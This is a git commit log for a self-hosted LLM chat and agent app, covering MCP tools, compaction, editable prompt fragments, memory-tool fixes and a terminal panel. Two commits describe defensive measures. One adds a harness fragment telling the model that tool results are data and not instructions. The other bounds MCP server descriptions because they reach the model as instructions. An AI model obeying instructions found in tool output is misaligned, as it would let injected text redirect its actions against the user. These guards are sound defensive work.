"A background job you started has finished" -- not a bare person turn. _inject
sends a queued turn verbatim, so the framing cannot live there; it lives in the
words, the way execute_plan quotes the plan, and a tool.background fragment tells
the model these arrive and are a machine event rather than the person speaking.

The poller reconnects a fresh connection each tick rather than holding one open
-- holding one is the exact live-connection state the whole ssh.py/base.py design
forbids, and poll is self-healing besides. Bounded by background_max_jobs and a
six-hour ceiling, after which the remote job may keep running but we stop
watching it.

A Job table, and here the terminal/generation "lost on restart" precedent does
NOT transfer: those are seconds long with a human watching, a background job is
hours long with nobody watching -- the one case a restart forgetting it would
silently break the feature's whole promise. So the row lets a lifespan startup
hook rehydrate the watcher and wake as if nothing happened. Cancelling a watcher
never stops the detached remote job; it runs on and is picked back up.

Tested end to end against a real local shell: launch a detached command, poll it
to completion through a watcher, and assert the model was woken with the exit
code and output -- plus the lock proving two simultaneous completions start one
reply, not two.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 14:30:44 +02:00
Jaroslav Beneš a5fa982ae3 A ceiling for a chat, and a nudge for an agent that stops early
MAX_ROUNDS = 1 was wrong, and wrong in a way worth writing down. The loop
already ends the moment a round comes back with no tool calls -- that is the
model saying it has what it needs, and it is the termination condition every
agentic harness uses. A round limit was never a schedule; it exists to catch the
case where the model never says so. One is low enough to stop being a ceiling
and start being a schedule: it overrode the model's judgement on every single
turn.

And it broke something concrete. Several built-ins are two-step pairs --
knowledge_get and notes_get read a document "by the id a search returned" -- so
one round left the library searchable and not readable. That is not an edge
case, it is the library working at half depth, and I understated it as "cannot
search the web and then read a result" when the change went in.

It is a setting now, under General, default 5, with 0 meaning no ceiling. The
loop and the harness both read settings_store.chat_rounds, so the model is never
told a budget that is not its own; tools.MAX_ROUNDS is the fallback for callers
with no session and a test pins the two equal. core.rounds goes back to naming
the number, and vanishes entirely when there is no ceiling rather than promising
zero rounds.

The other half of "let it decide how long to go": an agent reply that ends while
its plan still has open tasks is asked once to carry on. Only against a plan,
because that is the one thing there is to be objectively wrong about -- a model
with no plan that says it has finished is believed, and arguing with it would be
guessing. At most twice in a row, with the count reset the moment it calls a
tool again, so the bound is on consecutive stops rather than on stops in total.
Never in Plan mode and never past plan_submit, which ends the turn on purpose.
Giving up is recorded as an event rather than left silent.

The model's own words go back with the nudge, which turned up a real bug on the
way: ReasoningSplitter holds back a few characters against a <think> tag split
across chunks, so round_text at the end of a round was missing its tail. That
text is echoed as an assistant turn for tool rounds too, so a model has been
occasionally asked to continue from a transcript where it trailed off
mid-sentence. Flushed per round now.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 12:41:36 +02:00
Jaroslav Beneš 816f2ae957 A menu for what a chat may use, and three keys
Six smaller things, all of them about the interface not saying what is true.

The @ button only ever inserted the character, which the @ key already does
without a button. It becomes the scope menu: what this chat may use, switched
off per chat. Chat.scope_json is filtered inside resolve_tools AFTER the
capability, permission and instance gates -- exactly as chat.knowledge_bases
narrows knowledge_search -- so a crafted POST turning something on reaches a
tool the gates already removed, and there is a test that writes the column
directly to prove it. Absent means on, for every key, so "why is this off?" has
one answer. It is keyed on the gate rather than the tool name, so notes is one
switch rather than five. The switches carry no role="menuitem", deliberately:
ui.js closes a picker when a menuitem is clicked, which is right for an action
menu and wrong for a list you want to set several of -- which is why the menu
needs no JavaScript at all. Typing @ is untouched.

With no skills, nothing should mention them. tool.skills was gated on the family
alone, so somebody with an empty library was told "the list below gives each
one's name" above no list, handed skill_get, and watched the model spend a round
finding out. It requires skills now; the writing half moved to
tool.skills_write, which is deliberately not gated, because saving the first one
is what somebody with none most needs. And core.tool_list finally reads
tool_names, which had been resolved and documented with no fragment using it.

The composer's toolbar is one row again. .composer__actions is last in the DOM
with margin-left:auto, so the moment an agent chat added a connection, a
directory and a mode, Send and the microphone dropped to a second line.
chat.css has no media queries by design and the fix is not to add one:
.composer__context is the single child allowed to shrink and scroll sideways.
There is a test asserting the file still contains no @media.

The effort picker shows the level in force. "Effort: default" named no level and
was true of nothing in particular; chat.resolved_effort is the chat's own value
and build_request reads the same field, so what is shown is what is sent. The
model's default is a seed, copied onto the row at creation and on a model
change, and never consulted at request time -- a fallback would resurrect it
underneath a cleared effort and make "off" silently do nothing. "off" is a
sentinel and not an empty value, because start_chat declares Form("") and cannot
tell absent from empty: with value="" the reader picks off and gets high.

Alt+M dictates, Alt+R reads the last reply aloud, Ctrl+Enter sends from
anywhere. All three click the button that already does the job, so audio.js
keeps its one delegated listener. Alt+M and not Alt+D, which is the address bar
in Chrome and Firefox. Ctrl+Enter never means Stop -- Send and Stop are the same
element, and Esc already stops. Driven under a DOM stub before committing, per
the rule in CLAUDE.md, and tests/test_commands_js.py pins that every key has a
row in SHORTCUTS, since /help reads that list.

And the memory tooling, which had seven defects. The worst: memory_forget was a
case-insensitive substring first-match delete with nothing warning about it, so
forgetting "coffee" against "Drinks coffee black" and "Allergic to coffee"
silently removed whichever was older -- a wrong deletion nobody would ever find
out about, from a tool whose description invited exactly the short fragment that
misfires. It matches exactly first, then by substring, and refuses an ambiguous
one while naming what it matched. add() refuses an exact duplicate. The
at-the-limit refusal no longer tells the model to delete one to make room: past
the block's budget it is not shown all of them and would be guessing, which
feeds straight back into the first defect. And context.memories no longer claims
the memories "still apply", which nothing checks and which taught a model to
trust a stale one over what the person had just said.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:22:03 +02:00
Jaroslav Beneš 8a3a225fea Two selects that never wrote anything, and a queue
The approval card in Auto mode and the missing /effort were one bug. Both
selects hung their hx-patch on an empty sibling form reached by form="…",
and htmx binds a trigger to the annotated element: change fires on the
select and bubbles to its ancestors, which a sibling is not. The live rows
read agent_mode=manual and params_json={} while the browser showed Auto and
Effort: high. policy.py was never involved.

The verb moves onto the control; the empty form stays as value scoping,
which is the half of the CLAUDE.md note that was right. conftest gains
control_named so a test asserts the element carrying the name carries the
verb, rather than asserting the markup that was there throughout.

The composer's highlight was a third instance of the same carelessness in
CSS: .tok-mention is written for the transcript and scoped to nothing, so
the mirror painted its token in accent-coloured monospace over the
textarea's own text. Scoped under .msg; the mirror restates transparency
and font rather than inheriting them, and bleeds by box-shadow.

/effort is now offered before the first prompt and _new_chat reads it.
/index re-walks the project directory on demand, file_write drops the
listing it just invalidated, and the index ladder falls through to SFTP on
a host that refuses exec instead of returning nothing.

A second message during a reply is queued rather than starting a second
concurrent generation: a real Message row with queued set, so it survives a
restart and can be withdrawn. _drain hands one on at the end of a reply,
_inject takes one in at a tool-round boundary so an agent can be steered
mid-task. Stop leaves the queue undelivered. The terminal's Auto toggle
becomes off/copy/send, and send posts straight to the chat without touching
the composer.

@ now offers notes, skills, this chat's attachments and a URL to fetch; a
knowledge base attaches as a reference rather than a copy. copy_document
carries provenance, which was the one attach path that dropped it.

Also fixes an unrelated live bug: the round loop compared against the
global MAX_ROUNDS of 3 while sizing itself from the agent budget of 40, so
agent replies stopped after three rounds and reported forty.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 19:49:34 +02:00
Jaroslav Beneš 0bee366488 The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote
list.innerHTML before calling it. `list` is null until build() has run, so the
first `/` or `@` ever typed threw a TypeError and took the handler with it. The
menu has never appeared in any browser. That is why /compact "isn't there":
nothing was. I shipped it having only run `node --check`, which parses the file
happily.

So this also brings the thing that catches it: a DOM stub driven under node --
not committed, hard rule 1 stands, it is an instrument like curl. It reproduced
the crash in one run and immediately found two more: choosing a command from the
menu left `/help` sitting in the box so the next Enter ran it again, and Tab
completed nothing. Tab now completes and Enter runs, which is the split that
matters for a command taking an argument.

`.select--sm` was used three times and defined nowhere. I deleted the copy in
chat.css and left a comment saying it "is defined once, in app.css", where it
did not exist -- so those selects fell back to plain `.select`: width 100% in a
flex row where four siblings wanted the same, all of them shrinking together
until each was a few characters wide, and half a rem taller than everything
beside them. That was the whole of "the connection switch needs to be wider".

The connection and directory move to the topbar. They cannot change -- update_chat
refuses both with a 409 -- so they are facts about the chat, of a kind with the
Temporary badge, not controls on the message. The mode stays by the box.

Compaction says it is working. It makes a model call that takes seconds and had
no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the
Generation.status channel that says "Summarising earlier messages…" for the
automatic path cannot be borrowed, because it lives in the streaming bubble and
this endpoint refuses to run while any message is unfinished. The overflow menu
now runs the same code as /compact rather than posting for itself, so there is
one implementation, one spinner, and one place the endpoint's four carefully
written 409s finally reach somebody.

/effort, low medium high, per chat with a per-model default. It goes out twice
because there is no field that works everywhere: OpenAI and vLLM read
reasoning_effort, llama.cpp's own docs say other values "have no effect" and its
maintainer says the field "simply gets dropped without error or logging" -- what
reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once
an effort has been chosen, so a provider strict about unknown parameters sees
exactly the request it always did until somebody opts in. The control appears
only on a model marked `reasoning`, a flag that has existed since the beginning
with no reader at all.

Mentions and recognised commands are marked as you type -- a mirror behind the
textarea holding the same text with every character transparent, contributing
nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle
rather than a doubled glyph. A command is marked only when it resolves, so
`/thoughts on this` visibly is not one before you send it. And again in the
transcript, where user turns had no render step at all and now escape before
they inject.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 18:17:04 +02:00
Jaroslav Beneš a4cfb2eea4 Rewrap a paragraph
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 17:32:07 +02:00
Jaroslav Beneš facce7b49a Say how many tests there are now
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 17:31:50 +02:00
Jaroslav Beneš 131a4083f8 The terminal learns where one command ends, and can be dragged wider
"The last command and its output" was not something the panel could honestly
offer. sendToChat took the last forty rows of the screen buffer, hard-wrapped at
the terminal's width with no way to tell a wrap from a newline -- its own comment
said so. So bash and zsh are given the OSC 133 markers VS Code and WezTerm use,
and Copy, Send and an Auto toggle are built on those.

The integration is written by the PTY command string itself, with printf. sshd
runs that string through $SHELL -c, so it can case on the shell's own name and
needs no probe, no second channel and no writable home. Passing it through the
environment does not work -- every distribution ships AcceptEnv LANG LC_*, so
anything else is dropped silently -- and feeding `source ...` in as keystrokes
races a slow .zshrc, echoes into the scrollback and lands in shell history.

Nothing needs hiding, which is the point of choosing it: the setup runs before
the shell exists and never writes to the PTY's input side, so there is nothing
to echo and no fan-out gate to build.

Two things were wrong in the first version and both were found by running it
against real shells rather than the fake one. bash: the DEBUG trap fires before
every simple command *including each one inside PROMPT_COMMAND*, so $? read from
there is whatever ran a moment ago -- every command reported success. The status
is captured in the trap now, which also removes the two-entry PROMPT_COMMAND
dance entirely. zsh: $ZDOTDIR is already ours by the time .zshenv runs, so the
shims were sourcing themselves and none of the user's configuration loaded; the
original is passed on the exec line.

Parsing is server-side. The `behind` path resets the terminal and replays a
truncated scrollback, so a client parser routinely sees a finish with no start;
two tabs share one shell and can disagree; and what comes out of this ends up
inside a prompt, so deriving it here leaves nothing to disbelieve. The bytes are
fanned out unchanged -- xterm consumes an OSC it has no handler for.

Output is bounded head and tail, 48KB and 16KB: a build that fails ten megabytes
in has the invocation at the top and the error at the bottom. Carriage returns
collapse to the last state of each line, which is the difference between a
usable prompt and two megabytes of spinner. The fence is sized to its content,
because output containing three backticks would otherwise break out and read as
prose.

Any shell that is not bash or zsh starts exactly as it did before. The buttons
then scrape the screen and say so, and Auto is disabled rather than degraded:
forty arbitrary lines on every message is worse than nothing.

Also a generic [data-resize] handle, keyboard included, persisted the way the
theme is. The inspector and sidebar can have it whenever they want it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 17:28:38 +02:00
Jaroslav Beneš 5117168454 A terminal panel beside an agent chat
A real shell on the chat's own connection, opened and closed like the
inspector and never beside it. The modes govern the model; what a person
types is theirs, since they hold the credential and could open the same
shell with an ssh client. The model cannot see the panel -- a button
copies the output you choose into the composer.

The session outlives the socket: closing the panel leaves a build
running, and coming back reattaches with the scrollback. Two tabs share
one shell and the smaller window decides the size. It ends on an idle
timeout, on deleting the chat, on disabling, moving or deleting the
connection, and on a restart -- which says why rather than quietly
opening a fresh shell that has lost the working directory.

The nginx template's `Connection ""` is right for SSE and fails every
WebSocket handshake, so `location /` now uses a `map $http_upgrade`;
update.sh grows a drift check for it, because the only symptom on a
stale vhost is a panel that cannot connect.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 01:44:07 +02:00
Jaroslav Beneš 246be1fa8e Write down what agent chats are and what will bite you
CLAUDE.md gets the entries worth having been told: that the mode is
enforced in the loop rather than the prompt and why that distinction is
load-bearing; that an approved call has to be told it was approved, or the
runners' own backstop refuses the very thing somebody just allowed; that
`registry` must know the agent tools or the harness cannot name the machine
-- the same omission that cost custom tools their guidance once already;
that each command is a fresh shell and `apt-get install` needs an update
first, which are the two likeliest sources of "the agent seems stupid";
that asyncssh's four defaults are all wrong when one unix account is
shared; and that rewind rewinds the transcript and not the machine.

"Not built yet" loses agentic execution and gains the reason nothing runs
on this host -- with the two consequences stated plainly, since they are
the ones somebody has to weigh: the security of an agent chat is the
security of the host behind its profile, and there is no "no network"
switch, because the network belongs to the far side.

README gets a section that starts with the container, because that is the
intended shape and the thing a reader has to build before any of it means
anything.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 00:29:30 +02:00
Jaroslav Beneš 671e49cae8 Ask several questions on one card
One `ask_user` call can now carry several questions, and they come back in a
single submit. Asking one at a time cost a round trip and an interruption
each, and by the third you had forgotten the first.

Each question becomes an item with its own key; several items share a call
index, because they belong to one call and one tool turn has to answer them
all. Each answer is quoted beside the question it belongs to -- with four on
a card, a bare list would leave the model matching them up by position and
sometimes getting it wrong.

Options are radios rather than submit buttons, so picking one does not send
the form while two other questions are still blank. What you type beats what
you picked: someone who writes in the box after clicking an option meant the
writing.

`_questions_in` also reads the shapes a small model actually sends -- a bare
`question` string, a list of plain strings, one object where a list belonged.
Getting that wrong costs a whole round trip and shows a card saying nothing.

Two test fixes, both mine. `test_posting_a_message_stores_both_turns` raced
the background generation it started: against a connection that refuses
instantly the reply sometimes won, writing the error and marking the row
complete before the assertions could read it. And the generation registry is
module-global, so a test that started a reply left an entry -- and a Task
belonging to a closed event loop -- for the rest of the session.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 22:01:46 +02:00
Jaroslav Beneš ecb52e9978 MCP servers, over streamable HTTP
A server is a row with a URL; its tools are discovered by a button and
cached, then offered beside the built-in ones. Written by hand rather than
taken from the reference SDK, because that SDK's transport does its own
connecting -- and the one thing that must not be bypassed is check_url on
every hop. Owning the transport is the point; the framing beside it is the
small part.

Sessions are per call: initialize, initialized, the call, a best-effort
DELETE. Caching one wants an owner, a TTL, eviction, a lock and a shutdown
hook, and the server may expire it under all of that anyway -- ToolContext
is a session-free snapshot precisely so nothing in a tool holds live state.

A server's names and descriptions reach the model as instructions and are
bounded before they do; what it returns is escaped preformatted text, never
markdown. Tools are namespaced per server, so two servers exposing "search"
do not collide and neither shadows a built-in.

Also: a round's calls now run together under a semaphore, results indexed
so each tool turn stays paired with its call, and generation.status names
what is running -- a remote tool is latency-bound, and a silent pause is
what a hang looks like.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 16:44:29 +02:00
Jaroslav Beneš 17f3fa1946 Compaction: a button, and automatically when the window fills
A long conversation eventually just stops working. Compaction summarises the
earlier turns and sends the summary in their place.

The messages are kept. They stay in the transcript behind a collapsed
divider and simply stop being part of the request, which is what makes the
button safe to press and automatic compaction safe to have at all: a summary
that came out badly is a bad turn, not a lost conversation.

Stored on the Chat, not as a synthetic Message. A synthetic row needs a
role -- `system` breaks the one-system-message rule the moment build_messages
emits it beside the harness, and user/assistant makes it a turn people can
edit, regenerate from and copy, indistinguishable from a real one in all
four places a bubble is rendered. Worse, "editing rewinds, it does not
branch" would silently delete it and leave no marker that compaction had
happened at all.

The summary goes out as a user turn and an assistant turn, not one. A
leading assistant breaks templates requiring the first non-system message to
be user; a lone leading user produces user, user whenever the kept history
starts on a user turn -- which it always does, because the cutoff lands on a
finished reply.

compacted_through_id is a plain id rather than a foreign key: migrations.py
compiles only the column type, so a REFERENCES clause would exist on a fresh
database and not on an upgraded one, and a constraint half the fleet has is
worse than none. cutoff_message validates it on every read instead, and a
rewind past the boundary clears it.

Compacting again summarises only the delta, with the previous summary
supplied to be subsumed. Re-summarising the whole chat each time grows
quadratically and eventually exceeds the window it is protecting.

Automatically at the top of _run, not in post_message: that route's contract
is to return immediately and leave the slow part to a resumable connection,
and it also means build_request is called once, after compaction, with no
second assembly path. The trigger is the last reply's recorded usage plus an
estimate of the new turn -- retrospective because true prompt_tokens are only
knowable after a response, plus the delta because otherwise fifty thousand
characters pasted into the composer overflow a window that read 90% last
turn. It never fires when the context length is unknown. It does fire on
estimated counts, which is safe here precisely because nothing is lost.

_maybe_compact never raises: a failure logs and sends the uncompacted
request. A `status` event says "Summarising earlier messages…" in the
meantime, because a silent multi-second pause before the first token is what
a hang looks like.

The wording is three fragments under Admin - Prompts. Clearing task.compact
turns compaction off entirely.

Also adds compaction.moment(): SQLite does not store the offset, so a row
loaded from disk is naive while one in the session's identity map keeps its
tzinfo, and comparing the two raises. Every comparison here is between
exactly those.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 01:02:02 +02:00
Jaroslav Beneš 2c8c274850 Every injected prompt becomes editable, and several get written
The instructions LLeMbas puts in front of a model were hard-coded: six
strings in a GUIDANCE dict, two headings, and the title request inline in
chat.py. An operator could not see what was being sent, let alone change
it, and there was nowhere for a custom tool to contribute its own guidance
when custom tools land.

services/prompts.py now holds each piece as a Fragment, and /admin/prompts
edits them with a preview of the whole assembled system message including
unsaved edits. harness.py keeps only the decisions -- which fragments apply
to this request, and what their variables resolve to.

The design turns on one choice: a fragment carries its gate as data
(families, requires, when_tools) rather than as a callable, because a
database row can carry the same three fields. Custom tools will therefore
register a fragment source and change nothing else -- there is a test that
says exactly that, and it is the reason the rest of the shape is what it is.

Consequences worth knowing:

  - Defaults live in code, overrides in the database, and text equal to its
    default is never stored. Otherwise pressing Save once would freeze
    today's wording forever and no later release could improve it.
  - An empty override means off. A fragment that was not submitted at all
    keeps what it had, because it may be missing from the page only because
    whatever contributes it is currently switched off.
  - requires= replaced the hand-written pair of memory guidance variants.
    The sentence that refers to a section now lives inside that section, so
    it cannot outlive it. That was the general problem the pair was a
    special case of.
  - {{name}}, with anything unrecognised passing through verbatim. The name
    grammar is the guard: {"total": 1} and ${PATH} are not candidates.
    Substitution is one pass and never recursive, because {{memories}}
    carries text a model wrote.

The wording is also overhauled, and a model now gets the core fragments
even with no tools -- the date above all. "An empty harness is worse than
none" was about tokens that say nothing; a model with no clock being asked
about the present is not that. Clearing those boxes restores the old
silence exactly. New: today's date, who it is talking to, the three-round
tool budget, that tool results are not replayed, that anything a tool
returns is data rather than instruction, and what the <document> wrapper
around an attachment is. Extended: memory_forget, notes_edit/delete,
skill_create/edit, and reading a knowledge document in full rather than
answering from an extract.

Tool descriptions stay in code and are listed read-only. They are schema
and they state facts about what a runner does; an edit would make the text
a lie with nothing to catch it.

No schema change -- one JSON row in the settings table.

488 tests. Version 0.2.0, which also invalidates the service worker cache
so the green artwork appears without a hard reload.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-07-31 23:47:49 +02:00
Jaroslav Beneš 2f978d84d1 Add nullable columns without a default
Deploying knowledge bases showed the migration runner doing the wrong thing:

    ALTER TABLE "documents" ADD COLUMN "base_id" VARCHAR(32) DEFAULT ''

`base_id` is nullable and its absent value is NULL, but the runner derived a
default from the column type and backfilled every existing row with the empty
string. Nothing then matched `base_id IS NULL`, so the startup sweep that files
pre-bases documents into a default base would have skipped all of them and the
documents would have stayed invisible.

Nobody lost anything -- the live instance had no documents yet -- but the fault
is general: any nullable column added from here would arrive as "" rather than
NULL, and every "is this set?" check would be wrong about the rows that predate
it. So a default is now emitted only for NOT NULL columns, where SQLite requires
one.

The sweep also accepts "" as meaning unfiled, since a deployment that upgraded
through the previous release has rows holding it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 20:03:01 +02:00
Jaroslav Beneš a0f733063a Knowledge bases, and a file input that lines up
**Bases.** Documents now live in named collections rather than one flat pile,
and a chat can be pointed at particular ones — "answer from the contracts
folder" is a different question from "answer from everything I have ever
uploaded". A chat with none attached still searches everything its owner can
see, because empty means unscoped, not empty.

The harness names the attached bases. Without that the model cannot tell "there
is nothing about this" from "I am only allowed to see one folder", and it
phrases a miss as the former.

**Sharing moves to the base.** A document is visible to whoever can see the base
it lives in, so `Document` is gone from the shareable types and
`documents.visible()` filters through `base_id`. "This folder is the team's" is
the granularity people think in; per-document grants meant answering "who can
see this?" by checking every file. Moving a document between bases changes who
can see it, so the destination has to be one you own.

`Document.base_id` is nullable only because the column had to be added to a
table that already had rows. `sweep_unfiled()` runs at startup beside the
orphaned-upload sweep and files anything predating bases into its owner's
default, which is what makes "always set" true everywhere else.

**The file input.** `.input` gave it a fixed height and horizontal padding, so
the browser's own button sat hard against the left edge while the filename
floated off the centre line. A file input is two controls in one box and
neither inherits anything useful, so it gets its own rule: no horizontal
padding, the button sized to `--control-h` with the divider that separates it,
and the text centred with line-height rather than flexbox, which file inputs do
not lay out reliably.

437 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 20:00:15 +02:00